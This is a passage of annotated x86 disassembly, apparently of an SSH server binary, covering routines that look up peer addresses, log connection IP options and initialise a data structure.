08050b20   53                      push    %ebx
08050b21   e8 c6 99 ff ff          call    0804a4ec <strcpy>
08050b26   59                      pop     %ecx
08050b27   5e                      pop     %esi
08050b28   53                      push    %ebx
```

```
08050b29  68 80 eb 06 08           push    $0x806eb80   ;[in .rodata] 1819635523 'x43 x6f x75 x6c' "Could not
                                                          reverse map address %.100s."
08050b2e  e8 e9 f0 ff ff           call    0804fc1c <Unknown0036>
08050b33  83 c4 10                 add     $0x10,%esp
08050b36  83 ec 0c                 sub     $0xc,%esp
08050b39  68 a6 eb 06 08           push    $0x806eba6   ;[in .rodata] 536899689 'x69 x70 x0 x20' "ip"
08050b3e  e8 29 95 ff ff           call    0804a06c <getprotobyname>
08050b43  83 c4 10                 add     $0x10,%esp
08050b46  31 d2                    xor     %edx,%edx
08050b48  85 c0                    test    %eax,%eax
08050b4a  74 03                    je      08050b4f <Unknown0054+0x207>
08050b4c  8b 50 08                 mov     0x8(%eax),%edx
08050b4f  83 ec 0c                 sub     $0xc,%esp
08050b52  8d 85 00 fa ff ff        lea     0xfffffa00(%ebp),%eax   ;-1536 'x0 xfa xff xff' ""
08050b58  50                       push    %eax
08050b59  8d b5 08 fe ff ff        lea     0xfffffe08(%ebp),%esi   ;-504 'x8 xfe xff xff' ""
08050b5f  56                       push    %esi
08050b60  6a 04                    push    $0x4
08050b62  52                       push    %edx
08050b63  ff 75 08                 pushl   0x8(%ebp)
08050b66  c7 85 00 fa ff ff c8 00 00 00  movl  $0xc8,0xfffffa00(%ebp)  ;200 'xc8 x0 x0 x0' ""
08050b70  e8 87 94 ff ff           call    08049ffc <getsockopt>
08050b75  83 c4 20                 add     $0x20,%esp
08050b78  85 c0                    test    %eax,%eax
08050b7a  0f 88 94 00 00 00        js      08050c14 <Unknown0054+0x2cc>   ;148 'x94 x0 x0 x0' ""
08050b80  8b 85 00 fa ff ff        mov     0xfffffa00(%ebp),%eax   ;-1536 'x0 xfa xff xff' ""
08050b86  85 c0                    test    %eax,%eax
08050b88  0f 84 86 00 00 00        je      08050c14 <Unknown0054+0x2cc>   ;134 'x86 x0 x0 x0' ""
08050b8e  3d 00 01 00 00           cmp     $0x100,%eax  ;256 'x0 x1 x0 x0' ""
08050b93  8d 9d 08 fa ff ff        lea     0xfffffa08(%ebp),%ebx   ;-1528 'x8 xfa xff xff' ""
08050b99  7e 0f                    jle     08050baa <Unknown0054+0x262>
08050b9b  c7 85 00 fa ff ff 00 01 00 00  movl  $0x100,0xfffffa00(%ebp)  ;256 'x0 x1 x0 x0' ""
08050ba5  b8 00 01 00 00           mov     $0x100,%eax  ;256 'x0 x1 x0 x0' ""
08050baa  85 c0                    test    %eax,%eax
08050bac  7e 2b                    jle     08050bd9 <Unknown0054+0x291>
08050bae  89 f6                    mov     %esi,%esi
08050bb0  0f b6 06                 movzbl  (%esi),%eax
08050bb3  50                       push    %eax
08050bb4  68 a9 eb 06 08           push    $0x806eba9   ;[in .rodata] 775038240 'x20 x25 x32 x2e' " %2.2x"
08050bb9  6a 03                    push    $0x3
08050bbb  53                       push    %ebx
08050bbc  e8 1b 97 ff ff           call    0804a2dc <snprintf>
08050bc1  8b 85 00 fa ff ff        mov     0xfffffa00(%ebp),%eax   ;-1536 'x0 xfa xff xff' ""
08050bc7  48                       dec     %eax
08050bc8  83 c4 10                 add     $0x10,%esp
08050bcb  46                       inc     %esi
08050bcc  83 c3 03                 add     $0x3,%ebx
08050bcf  85 c0                    test    %eax,%eax
08050bd1  89 85 00 fa ff ff        mov     %eax,0xfffffa00(%ebp)   ;-1536 'x0 xfa xff xff' ""
08050bd7  7f d7                    jg      08050bb0 <Unknown0054+0x268>
08050bd9  52                       push    %edx
08050bda  8d 9d 08 fa ff ff        lea     0xfffffa08(%ebp),%ebx   ;-1528 'x8 xfa xff xff' ""
08050be0  53                       push    %ebx
08050be1  50                       push    %eax
08050be2  ff 75 dc                 pushl   0xffffffdc(%ebp)
08050be5  e8 c2 92 ff ff           call    08049eac <inet_ntoa>
08050bea  5e                       pop     %esi
08050beb  5f                       pop     %edi
08050bec  50                       push    %eax
08050bed  68 c0 eb 06 08           push    $0x806ebc0   ;[in .rodata] 1852731203 'x43 x6f x6e x6e' "Connection
                                                          from %.100s with IP options:%.800s"
08050bf2  e8 25 f0 ff ff           call    0804fc1c <Unknown0036>
08050bf7  83 c4 0c                 add     $0xc,%esp
08050bfa  53                       push    %ebx
08050bfb  53                       push    %ebx
08050bfc  ff 75 dc                 pushl   0xffffffdc(%ebp)
08050bff  e8 a8 92 ff ff           call    08049eac <inet_ntoa>
08050c04  5a                       pop     %edx
08050c05  59                       pop     %ecx
08050c06  50                       push    %eax
08050c07  68 c0 eb 06 08           push    $0x806ebc0   ;[in .rodata] 1852731203 'x43 x6f x6e x6e' "Connection
                                                          from %.100s with IP options:%.800s"
08050c0c  e8 cf 5b 00 00           call    080567e0 <Unknown0157>
08050c11  83 c4 10                 add     $0x10,%esp
08050c14  83 ec 0c                 sub     $0xc,%esp
08050c17  8d 85 d8 fe ff ff        lea     0xfffffed8(%ebp),%eax   ;-296 'xd8 xfe xff xff' ""
08050c1d  50                       push    %eax
08050c1e  e8 15 63 00 00           call    08056f38 <Unknown0173>
08050c23  8d 65 f4                 lea     0xfffffff4(%ebp),%esp
08050c26  5b                       pop     %ebx
08050c27  5e                       pop     %esi
08050c28  5f                       pop     %edi
08050c29  5d                       pop     %ebp
08050c2a  c3                       ret
```

```
08050c2b  90                        nop


   ;
   ; >--------------------<  Subroutine #  55 >----------------------<
   ;
08050c2c <Unknown0055>:
08050c2c  55                        push   %ebp
08050c2d  89 e5                     mov    %esp,%ebp
08050c2f  57                        push   %edi
08050c30  56                        push   %esi
08050c31  53                        push   %ebx
08050c32  a1 10 7c 07 08            mov    0x8077c10,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
08050c37  83 ec 3c                  sub    $0x3c,%esp
08050c3a  85 c0                     test   %eax,%eax
08050c3c  0f 85 df 00 00 00         jne    08050d21 <Unknown0055+0xf5>   ;223 'xdf x0 x0 x0' ""
08050c42  e8 1d 51 00 00            call   08055d64 <Unknown0129>
08050c47  89 c3                     mov    %eax,%ebx
08050c49  e8 22 51 00 00            call   08055d70 <Unknown0130>
08050c4e  39 c3                     cmp    %eax,%ebx
08050c50  0f 84 b6 00 00 00         je     08050d0c <Unknown0055+0xe0>   ;182 'xb6 x0 x0 x0' ""
08050c56  53                        push   %ebx
08050c57  8d 45 c4                  lea    0xffffffc4(%ebp),%eax
08050c5a  50                        push   %eax
08050c5b  8d 75 d8                  lea    0xffffffd8(%ebp),%esi
08050c5e  56                        push   %esi
08050c5f  51                        push   %ecx
08050c60  c7 45 c4 10 00 00 00      movl   $0x10,0xffffffc4(%ebp)   ;16 'x10 x0 x0 x0' ""
08050c67  c7 45 d8 00 00 00 00      movl   $0x0,0xffffffd8(%ebp)   ;0 'x0 x0 x0 x0' ""
08050c6e  c7 45 dc 00 00 00 00      movl   $0x0,0xffffffdc(%ebp)   ;0 'x0 x0 x0 x0' ""
08050c75  c7 45 e0 00 00 00 00      movl   $0x0,0xffffffe0(%ebp)   ;0 'x0 x0 x0 x0' ""
08050c7c  c7 45 e4 00 00 00 00      movl   $0x0,0xffffffe4(%ebp)   ;0 'x0 x0 x0 x0' ""
08050c83  e8 dc 50 00 00            call   08055d64 <Unknown0129>
08050c88  89 04 24                  mov    %eax,(%esp,1)
08050c8b  e8 cc 93 ff ff            call   0804a05c <getpeername>
08050c90  83 c4 10                  add    $0x10,%esp
08050c93  85 c0                     test   %eax,%eax
08050c95  78 61                     js     08050cf8 <Unknown0055+0xcc>
08050c97  52                        push   %edx
08050c98  8d 45 c0                  lea    0xffffffc0(%ebp),%eax
08050c9b  50                        push   %eax
08050c9c  8d 7d c8                  lea    0xffffffc8(%ebp),%edi
08050c9f  57                        push   %edi
08050ca0  50                        push   %eax
08050ca1  c7 45 c0 10 00 00 00      movl   $0x10,0xffffffc0(%ebp)   ;16 'x10 x0 x0 x0' ""
08050ca8  c7 45 c8 00 00 00 00      movl   $0x0,0xffffffc8(%ebp)   ;0 'x0 x0 x0 x0' ""
08050caf  c7 45 cc 00 00 00 00      movl   $0x0,0xffffffcc(%ebp)   ;0 'x0 x0 x0 x0' ""
08050cb6  c7 45 d0 00 00 00 00      movl   $0x0,0xffffffd0(%ebp)   ;0 'x0 x0 x0 x0' ""
08050cbd  c7 45 d4 00 00 00 00      movl   $0x0,0xffffffd4(%ebp)   ;0 'x0 x0 x0 x0' ""
08050cc4  e8 a7 50 00 00            call   08055d70 <Unknown0130>
08050cc9  89 04 24                  mov    %eax,(%esp,1)
08050ccc  e8 8b 93 ff ff            call   0804a05c <getpeername>
08050cd1  83 c4 10                  add    $0x10,%esp
08050cd4  85 c0                     test   %eax,%eax
08050cd6  78 20                     js     08050cf8 <Unknown0055+0xcc>
08050cd8  66 83 7d d8 02            cmpw   $0x2,0xffffffd8(%ebp)
08050cdd  75 19                     jne    08050cf8 <Unknown0055+0xcc>
08050cdf  66 83 7d c8 02            cmpw   $0x2,0xffffffc8(%ebp)
08050ce4  75 12                     jne    08050cf8 <Unknown0055+0xcc>
08050ce6  b9 10 00 00 00            mov    $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
08050ceb  fc                        cld
08050cec  f3 a6                     repz cmpsb %es:(%edi),%ds:(%esi)
08050cee  0f 97 c2                  seta   %dl
08050cf1  0f 92 c0                  setb   %al
08050cf4  38 c2                     cmp    %al,%dl
08050cf6  74 14                     je     08050d0c <Unknown0055+0xe0>
08050cf8  83 ec 0c                  sub    $0xc,%esp
08050cfb  68 7b ea 06 08            push   $0x806ea7b   ;[in .rodata] 1313558101 'x55 x4e x4b x4e' "UNKNOWN"
08050d00  e8 33 62 00 00            call   08056f38 <Unknown0173>
08050d05  a3 10 7c 07 08            mov    %eax,0x8077c10   ;[in .data] 0 'x0 x0 x0 x0' ""
08050d0a  eb 15                     jmp    08050d21 <Unknown0055+0xf5>
08050d0c  83 ec 10                  sub    $0x10,%esp
08050d0f  e8 50 50 00 00            call   08055d64 <Unknown0129>
08050d14  89 04 24                  mov    %eax,(%esp,1)
08050d17  e8 2c fc ff ff            call   08050948 <Unknown0054>
08050d1c  a3 10 7c 07 08            mov    %eax,0x8077c10   ;[in .data] 0 'x0 x0 x0 x0' ""
08050d21  8d 65 f4                  lea    0xfffffff4(%ebp),%esp
08050d24  5b                        pop    %ebx
08050d25  5e                        pop    %esi
08050d26  5f                        pop    %edi
08050d27  5d                        pop    %ebp
08050d28  c3                        ret
08050d29  8d 76 00                  lea    0x0(%esi),%esi
```

```
   ;
   ; >---------------------<  Subroutine #  56 >---------------------<
   ;
08050d2c <Unknown0056>:
08050d2c   55                         push    %ebp
08050d2d   89 e5                      mov     %esp,%ebp
08050d2f   57                         push    %edi
08050d30   56                         push    %esi
08050d31   53                         push    %ebx
08050d32   a1 14 7c 07 08             mov     0x8077c14,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
08050d37   83 ec 3c                   sub     $0x3c,%esp
08050d3a   85 c0                      test    %eax,%eax
08050d3c   0f 85 42 01 00 00          jne     08050e84 <Unknown0056+0x158>  ;322 'x42 x1 x0 x0' "B"
08050d42   e8 1d 50 00 00             call    08055d64 <Unknown0129>
08050d47   89 c3                      mov     %eax,%ebx
08050d49   e8 22 50 00 00             call    08055d70 <Unknown0130>
08050d4e   39 c3                      cmp     %eax,%ebx
08050d50   0f 84 b6 00 00 00          je      08050e0c <Unknown0056+0xe0>   ;182 'xb6 x0 x0 x0' ""
08050d56   53                         push    %ebx
08050d57   8d 5d c4                   lea     0xffffffc4(%ebp),%ebx
08050d5a   53                         push    %ebx
08050d5b   8d 75 d8                   lea     0xffffffd8(%ebp),%esi
08050d5e   56                         push    %esi
08050d5f   51                         push    %ecx
08050d60   c7 45 c4 10 00 00 00       movl    $0x10,0xffffffc4(%ebp)   ;16 'x10 x0 x0 x0' ""
08050d67   c7 45 d8 00 00 00 00       movl    $0x0,0xffffffd8(%ebp)   ;0 'x0 x0 x0 x0' ""
08050d6e   c7 45 dc 00 00 00 00       movl    $0x0,0xffffffdc(%ebp)   ;0 'x0 x0 x0 x0' ""
08050d75   c7 45 e0 00 00 00 00       movl    $0x0,0xffffffe0(%ebp)   ;0 'x0 x0 x0 x0' ""
08050d7c   c7 45 e4 00 00 00 00       movl    $0x0,0xffffffe4(%ebp)   ;0 'x0 x0 x0 x0' ""
08050d83   e8 dc 4f 00 00             call    08055d64 <Unknown0129>
08050d88   89 04 24                   mov     %eax,(%esp,1)
08050d8b   e8 cc 92 ff ff             call    0804a05c <getpeername>
08050d90   83 c4 10                   add     $0x10,%esp
08050d93   85 c0                      test    %eax,%eax
08050d95   78 61                      js      08050df8 <Unknown0056+0xcc>
08050d97   52                         push    %edx
08050d98   8d 45 c0                   lea     0xffffffc0(%ebp),%eax
08050d9b   50                         push    %eax
08050d9c   8d 7d c8                   lea     0xffffffc8(%ebp),%edi
08050d9f   57                         push    %edi
08050da0   50                         push    %eax
08050da1   c7 45 c0 10 00 00 00       movl    $0x10,0xffffffc0(%ebp)   ;16 'x10 x0 x0 x0' ""
08050da8   c7 45 c8 00 00 00 00       movl    $0x0,0xffffffc8(%ebp)   ;0 'x0 x0 x0 x0' ""
08050daf   c7 45 cc 00 00 00 00       movl    $0x0,0xffffffcc(%ebp)   ;0 'x0 x0 x0 x0' ""
08050db6   c7 45 d0 00 00 00 00       movl    $0x0,0xffffffd0(%ebp)   ;0 'x0 x0 x0 x0' ""
08050dbd   c7 45 d4 00 00 00 00       movl    $0x0,0xffffffd4(%ebp)   ;0 'x0 x0 x0 x0' ""
08050dc4   e8 a7 4f 00 00             call    08055d70 <Unknown0130>
08050dc9   89 04 24                   mov     %eax,(%esp,1)
08050dcc   e8 8b 92 ff ff             call    0804a05c <getpeername>
08050dd1   83 c4 10                   add     $0x10,%esp
08050dd4   85 c0                      test    %eax,%eax
08050dd6   78 20                      js      08050df8 <Unknown0056+0xcc>
08050dd8   66 83 7d d8 02             cmpw    $0x2,0xffffffd8(%ebp)
08050ddd   75 19                      jne     08050df8 <Unknown0056+0xcc>
08050ddf   66 83 7d c8 02             cmpw    $0x2,0xffffffc8(%ebp)
08050de4   75 12                      jne     08050df8 <Unknown0056+0xcc>
08050de6   b9 10 00 00 00             mov     $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
08050deb   fc                         cld
08050dec   f3 a6                      repz cmpsb %es:(%edi),%ds:(%esi)
08050dee   0f 97 c2                   seta    %dl
08050df1   0f 92 c0                   setb    %al
08050df4   38 c2                      cmp     %al,%dl
08050df6   74 17                      je      08050e0f <Unknown0056+0xe3>
08050df8   83 ec 0c                   sub     $0xc,%esp
08050dfb   68 7b ea 06 08             push    $0x806ea7b   ;[in .rodata] 1313558101 'x55 x4e x4b x4e' "UNKNOWN"
08050e00   e8 33 61 00 00             call    08056f38 <Unknown0173>
08050e05   a3 14 7c 07 08             mov     %eax,0x8077c14   ;[in .data] 0 'x0 x0 x0 x0' ""
08050e0a   eb 78                      jmp     08050e84 <Unknown0056+0x158>
08050e0c   8d 5d c4                   lea     0xffffffc4(%ebp),%ebx
08050e0f   e8 50 4f 00 00             call    08055d64 <Unknown0129>
08050e14   51                         push    %ecx
08050e15   53                         push    %ebx
08050e16   8d 55 d8                   lea     0xffffffd8(%ebp),%edx
08050e19   52                         push    %edx
08050e1a   50                         push    %eax
08050e1b   c7 45 c4 10 00 00 00       movl    $0x10,0xffffffc4(%ebp)   ;16 'x10 x0 x0 x0' ""
08050e22   c7 45 d8 00 00 00 00       movl    $0x0,0xffffffd8(%ebp)   ;0 'x0 x0 x0 x0' ""
08050e29   c7 45 dc 00 00 00 00       movl    $0x0,0xffffffdc(%ebp)   ;0 'x0 x0 x0 x0' ""
08050e30   c7 45 e0 00 00 00 00       movl    $0x0,0xffffffe0(%ebp)   ;0 'x0 x0 x0 x0' ""
08050e37   c7 45 e4 00 00 00 00       movl    $0x0,0xffffffe4(%ebp)   ;0 'x0 x0 x0 x0' ""
08050e3e   e8 19 92 ff ff             call    0804a05c <getpeername>
08050e43   83 c4 10                   add     $0x10,%esp
08050e46   85 c0                      test    %eax,%eax
```

```
08050e48  79 22                 jns     08050e6c <Unknown0056+0x140>
08050e4a  83 ec 10              sub     $0x10,%esp
08050e4d  e8 ea 8f ff ff        call    08049e3c <__errno_location>
08050e52  5a                    pop     %edx
08050e53  ff 30                 pushl   (%eax)
08050e55  e8 92 8f ff ff        call    08049dec <strerror>
08050e5a  5e                    pop     %esi
08050e5b  5f                    pop     %edi
08050e5c  50                    push    %eax
08050e5d  68 60 ea 06 08        push    $0x806ea60   ;[in .rodata] 1886676327 'x67 x65 x74 x70' "getpeername
                                                      failed: %.100s"
08050e62  e8 a1 ef ff ff        call    0804fe08 <Unknown0040>
08050e67  31 c0                 xor     %eax,%eax
08050e69  eb 19                 jmp     08050e84 <Unknown0056+0x158>
08050e6b  90                    nop
08050e6c  83 ec 0c              sub     $0xc,%esp
08050e6f  ff 75 dc              pushl   0xffffffdc(%ebp)
08050e72  e8 35 90 ff ff        call    08049eac <inet_ntoa>
08050e77  89 04 24              mov     %eax,(%esp,1)
08050e7a  e8 b9 60 00 00        call    08056f38 <Unknown0173>
08050e7f  a3 14 7c 07 08        mov     %eax,0x8077c14   ;[in .data] 0 'x0 x0 x0 x0' ""
08050e84  8d 65 f4              lea     0xfffffff4(%ebp),%esp
08050e87  5b                    pop     %ebx
08050e88  5e                    pop     %esi
08050e89  5f                    pop     %edi
08050e8a  5d                    pop     %ebp
08050e8b  c3                    ret


  ;
  ; >--------------------< Subroutine #  57 >--------------------<
  ;
08050e8c <Unknown0057>:
08050e8c  55                    push    %ebp
08050e8d  89 e5                 mov     %esp,%ebp
08050e8f  83 ec 2c              sub     $0x2c,%esp
08050e92  8d 45 e4              lea     0xffffffe4(%ebp),%eax
08050e95  50                    push    %eax
08050e96  8d 55 e8              lea     0xffffffe8(%ebp),%edx
08050e99  52                    push    %edx
08050e9a  8b 4d 08              mov     0x8(%ebp),%ecx
08050e9d  51                    push    %ecx
08050e9e  c7 45 e4 10 00 00 00  movl    $0x10,0xffffffe4(%ebp)   ;16 'x10 x0 x0 x0' ""
08050ea5  c7 45 e8 00 00 00 00  movl    $0x0,0xffffffe8(%ebp)


  ;
  ; >--------------------< Subroutine #  58 >--------------------<
  ;
08050eac <Unknown0058>:
08050eac  c7 45 ec 00 00 00 00  movl    $0x0,0xffffffec(%ebp)   ;0 'x0 x0 x0 x0' ""
08050eb3  c7 45 f0 00 00 00 00  movl    $0x0,0xfffffff0(%ebp)   ;0 'x0 x0 x0 x0' ""
08050eba  c7 45 f4 00 00 00 00  movl    $0x0,0xfffffff4(%ebp)   ;0 'x0 x0 x0 x0' ""
08050ec1  e8 96 91 ff ff        call    0804a05c <getpeername>
08050ec6  83 c4 10              add     $0x10,%esp
08050ec9  85 c0                 test    %eax,%eax
08050ecb  79 23                 jns     08050ef0 <Unknown0058+0x44>
08050ecd  83 ec 10              sub     $0x10,%esp
08050ed0  e8 67 8f ff ff        call    08049e3c <__errno_location>
08050ed5  5a                    pop     %edx
08050ed6  ff 30                 pushl   (%eax)
08050ed8  e8 0f 8f ff ff        call    08049dec <strerror>
08050edd  5a                    pop     %edx
08050ede  59                    pop     %ecx
08050edf  50                    push    %eax
08050ee0  68 60 ea 06 08        push    $0x806ea60   ;[in .rodata] 1886676327 'x67 x65 x74 x70' "getpeername
                                                      failed: %.100s"
08050ee5  e8 1e ef ff ff        call    0804fe08 <Unknown0040>
08050eea  31 c0                 xor     %eax,%eax
08050eec  eb 0d                 jmp     08050efb <Unknown0058+0x4f>
08050eee  89 f6                 mov     %esi,%esi
08050ef0  66 8b 45 ea           mov     0xffffffea(%ebp),%ax
08050ef4  66 c1 c8 08           ror     $0x8,%ax
08050ef8  0f b7 c0              movzwl  %ax,%eax
08050efb  c9                    leave
08050efc  c3                    ret
08050efd  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >--------------------< Subroutine #  59 >--------------------<
  ;
08050f00 <Unknown0059>:
08050f00  55                    push    %ebp
```

```
08050f01   89 e5                      mov      %esp,%ebp
08050f03   57                         push     %edi
08050f04   56                         push     %esi
08050f05   53                         push     %ebx
08050f06   83 ec 3c                   sub      $0x3c,%esp
08050f09   e8 56 4e 00 00             call     08055d64 <Unknown0129>
08050f0e   89 c3                      mov      %eax,%ebx
08050f10   e8 5b 4e 00 00             call     08055d70 <Unknown0130>
08050f15   39 c3                      cmp      %eax,%ebx
08050f17   0f 84 ab 00 00 00          je       08050fc8 <Unknown0059+0xc8>   ;171 'xab x0 x0 x0' ""
08050f1d   50                         push     %eax
08050f1e   8d 45 c4                   lea      0xffffffc4(%ebp),%eax
08050f21   50                         push     %eax
08050f22   8d 75 d8                   lea      0xffffffd8(%ebp),%esi
08050f25   56                         push     %esi
08050f26   57                         push     %edi
08050f27   c7 45 c4 10 00 00 00       movl     $0x10,0xffffffc4(%ebp)   ;16 'x10 x0 x0 x0' ""
08050f2e   c7 45 d8 00 00 00 00       movl     $0x0,0xffffffd8(%ebp)    ;0 'x0 x0 x0 x0' ""
08050f35   c7 45 dc 00 00 00 00       movl     $0x0,0xffffffdc(%ebp)    ;0 'x0 x0 x0 x0' ""
08050f3c   c7 45 e0 00 00 00 00       movl     $0x0,0xffffffe0(%ebp)    ;0 'x0 x0 x0 x0' ""
08050f43   c7 45 e4 00 00 00 00       movl     $0x0,0xffffffe4(%ebp)    ;0 'x0 x0 x0 x0' ""
08050f4a   e8 15 4e 00 00             call     08055d64 <Unknown0129>
08050f4f   89 04 24                   mov      %eax,(%esp,1)
08050f52   e8 05 91 ff ff             call     0804a05c <getpeername>
08050f57   83 c4 10                   add      $0x10,%esp
08050f5a   85 c0                      test     %eax,%eax
08050f5c   78 61                      js       08050fbf <Unknown0059+0xbf>
08050f5e   53                         push     %ebx
08050f5f   8d 45 c0                   lea      0xffffffc0(%ebp),%eax
08050f62   50                         push     %eax
08050f63   8d 7d c8                   lea      0xffffffc8(%ebp),%edi
08050f66   57                         push     %edi
08050f67   51                         push     %ecx
08050f68   c7 45 c0 10 00 00 00       movl     $0x10,0xffffffc0(%ebp)   ;16 'x10 x0 x0 x0' ""
08050f6f   c7 45 c8 00 00 00 00       movl     $0x0,0xffffffc8(%ebp)    ;0 'x0 x0 x0 x0' ""
08050f76   c7 45 cc 00 00 00 00       movl     $0x0,0xffffffcc(%ebp)    ;0 'x0 x0 x0 x0' ""
08050f7d   c7 45 d0 00 00 00 00       movl     $0x0,0xffffffd0(%ebp)    ;0 'x0 x0 x0 x0' ""
08050f84   c7 45 d4 00 00 00 00       movl     $0x0,0xffffffd4(%ebp)    ;0 'x0 x0 x0 x0' ""
08050f8b   e8 e0 4d 00 00             call     08055d70 <Unknown0130>
08050f90   89 04 24                   mov      %eax,(%esp,1)
08050f93   e8 c4 90 ff ff             call     0804a05c <getpeername>
08050f98   83 c4 10                   add      $0x10,%esp
08050f9b   85 c0                      test     %eax,%eax
08050f9d   78 20                      js       08050fbf <Unknown0059+0xbf>
08050f9f   66 83 7d d8 02             cmpw     $0x2,0xffffffd8(%ebp)
08050fa4   75 19                      jne      08050fbf <Unknown0059+0xbf>
08050fa6   66 83 7d c8 02             cmpw     $0x2,0xffffffc8(%ebp)
08050fab   75 12                      jne      08050fbf <Unknown0059+0xbf>
08050fad   b9 10 00 00 00             mov      $0x10,%ecx   ;16 'x10 x0 x0 x0' ""
08050fb2   fc                         cld
08050fb3   f3 a6                      repz cmpsb %es:(%edi),%ds:(%esi)
08050fb5   0f 97 c2                   seta     %dl
08050fb8   0f 92 c0                   setb     %al
08050fbb   38 c2                      cmp      %al,%dl
08050fbd   74 09                      je       08050fc8 <Unknown0059+0xc8>
08050fbf   b8 ff ff 00 00             mov      $0xffff,%eax   ;65535 'xff xff x0 x0' ""
08050fc4   eb 10                      jmp      08050fd6 <Unknown0059+0xd6>
08050fc6   89 f6                      mov      %esi,%esi
08050fc8   e8 97 4d 00 00             call     08055d64 <Unknown0129>
08050fcd   83 ec 0c                   sub      $0xc,%esp
08050fd0   50                         push     %eax
08050fd1   e8 b6 fe ff ff             call     08050e8c <Unknown0057>
08050fd6   8d 65 f4                   lea      0xfffffff4(%ebp),%esp
08050fd9   5b                         pop      %ebx
08050fda   5e                         pop      %esi
08050fdb   5f                         pop      %edi
08050fdc   5d                         pop      %ebp
08050fdd   c3                         ret
08050fde   89 f6                      mov      %esi,%esi


  ;
  ; >---------------------<  Subroutine #  60 >---------------------<
  ;
08050fe0 <Unknown0060>:
08050fe0   55                         push     %ebp
08050fe1   89 e5                      mov      %esp,%ebp
08050fe3   53                         push     %ebx
08050fe4   83 ec 08                   sub      $0x8,%esp
08050fe7   68 bc 20 00 00             push     $0x20bc   ;8380 'xbc x20 x0 x0' ""
08050fec   8b 5d 08                   mov      0x8(%ebp),%ebx
08050fef   6a 00                      push     $0x0
08050ff1   53                         push     %ebx
08050ff2   e8 b5 93 ff ff             call     0804a3ac <memset>
```

```
08050ff7  83 c4 10                   add    $0x10,%esp
08050ffa  c7 03 ff ff ff ff          movl   $0xffffffff,(%ebx)    ;-1 'xff xff xff xff' ""
08051000  c7 43 04 00 00 00 00       movl   $0x0,0x4(%ebx)    ;0 'x0 x0 x0 x0' ""
08051007  c7 43 08 00 00 00 00       movl   $0x0,0x8(%ebx)    ;0 'x0 x0 x0 x0' ""
0805100e  c7 43 0c 00 00 00 00       movl   $0x0,0xc(%ebx)    ;0 'x0 x0 x0 x0' ""
08051015  c7 43 10 00 00 00 00       movl   $0x0,0x10(%ebx)    ;0 'x0 x0 x0 x0' ""
0805101c  c7 43 14 ff ff ff ff       movl   $0xffffffff,0x14(%ebx)    ;-1 'xff xff xff xff' ""
08051023  c7 43 18 ff ff ff ff       movl   $0xffffffff,0x18(%ebx)    ;-1 'xff xff xff xff' ""
0805102a  c7 43 1c ff ff ff ff       movl   $0xffffffff,0x1c(%ebx)    ;-1 'xff xff xff xff' ""
08051031  c7 43 20 ff ff ff ff       movl   $0xffffffff,0x20(%ebx)    ;-1 'xff xff xff xff' ""
08051038  c7 43 24 ff ff ff ff       movl   $0xffffffff,0x24(%ebx)    ;-1 'xff xff xff xff' ""
0805103f  c7 43 28 ff ff ff ff       movl   $0xffffffff,0x28(%ebx)    ;-1 'xff xff xff xff' ""
08051046  c7 43 2c ff ff ff ff       movl   $0xffffffff,0x2c(%ebx)    ;-1 'xff xff xff xff' ""
0805104d  c7 43 30 ff ff ff ff       movl   $0xffffffff,0x30(%ebx)    ;-1 'xff xff xff xff' ""
08051054  c7 43 34 ff ff ff ff       movl   $0xffffffff,0x34(%ebx)    ;-1 'xff xff xff xff' ""
0805105b  c7 43 38 ff ff ff ff       movl   $0xffffffff,0x38(%ebx)    ;-1 'xff xff xff xff' ""
08051062  c7 43 3c ff ff ff ff       movl   $0xffffffff,0x3c(%ebx)    ;-1 'xff xff xff xff' ""
08051069  c7 43 40 ff ff ff ff       movl   $0xffffffff,0x40(%ebx)    ;-1 'xff xff xff xff' ""
08051070  c7 43 44 ff ff ff ff       movl   $0xffffffff,0x44(%ebx)    ;-1 'xff xff xff xff' ""
08051077  c7 43 4c ff ff ff ff       movl   $0xffffffff,0x4c(%ebx)    ;-1 'xff xff xff xff' ""
0805107e  c7 43 50 ff ff ff ff       movl   $0xffffffff,0x50(%ebx)    ;-1 'xff xff xff xff' ""
08051085  c7 43 54 ff ff ff ff       movl   $0xffffffff,0x54(%ebx)    ;-1 'xff xff xff xff' ""
0805108c  c7 43 58 ff ff ff ff       movl   $0xffffffff,0x58(%ebx)    ;-1 'xff xff xff xff' ""
08051093  c7 43 5c ff ff ff ff       movl   $0xffffffff,0x5c(%ebx)    ;-1 'xff xff xff xff' ""
0805109a  c7 43 60 ff ff ff ff       movl   $0xffffffff,0x60(%ebx)    ;-1 'xff xff xff xff' ""
080510a1  c7 43 64 ff ff ff ff       movl   $0xffffffff,0x64(%ebx)    ;-1 'xff xff xff xff' ""
080510a8  c7 43 6c ff ff ff ff       movl   $0xffffffff,0x6c(%ebx)    ;-1 'xff xff xff xff' ""
080510af  c7 43 68 ff ff ff ff       movl   $0xffffffff,0x68(%ebx)    ;-1 'xff xff xff xff' ""
080510b6  c7 43 70 ff ff ff ff       movl   $0xffffffff,0x70(%ebx)    ;-1 'xff xff xff xff' ""
080510bd  c7 43 74 ff ff ff ff       movl   $0xffffffff,0x74(%ebx)    ;-1 'xff xff xff xff' ""
080510c4  c7 43 78 ff ff ff ff       movl   $0xffffffff,0x78(%ebx)    ;-1 'xff xff xff xff' ""
080510cb  c7 43 7c ff ff ff ff       movl   $0xffffffff,0x7c(%ebx)    ;-1 'xff xff xff xff' ""
080510d2  c7 83 84 00 00 00 ff ff ff ff   movl   $0xffffffff,0x84(%ebx)    ;-1 'xff xff xff xff' ""
080510dc  c7 83 80 00 00 00 ff ff ff ff   movl   $0xffffffff,0x80(%ebx)    ;-1 'xff xff xff xff' ""
080510e6  c7 83 90 00 00 00 00 00 00 00   movl   $0x0,0x90(%ebx)    ;0 'x0 x0 x0 x0' ""
080510f0  c7 83 94 04 00 00 00 00 00 00   movl   $0x0,0x494(%ebx)    ;0 'x0 x0 x0 x0' ""
080510fa  c7 83 98 08 00 00 00 00 00 00   movl   $0x0,0x898(%ebx)    ;0 'x0 x0 x0 x0' ""
08051104  c7 83 9c 0c 00 00 00 00 00 00   movl   $0x0,0xc9c(%ebx)    ;0 'x0 x0 x0 x0' ""
0805110e  c7 83 a0 10 00 00 00 00 00 00   movl   $0x0,0x10a0(%ebx)    ;0 'x0 x0 x0 x0' ""
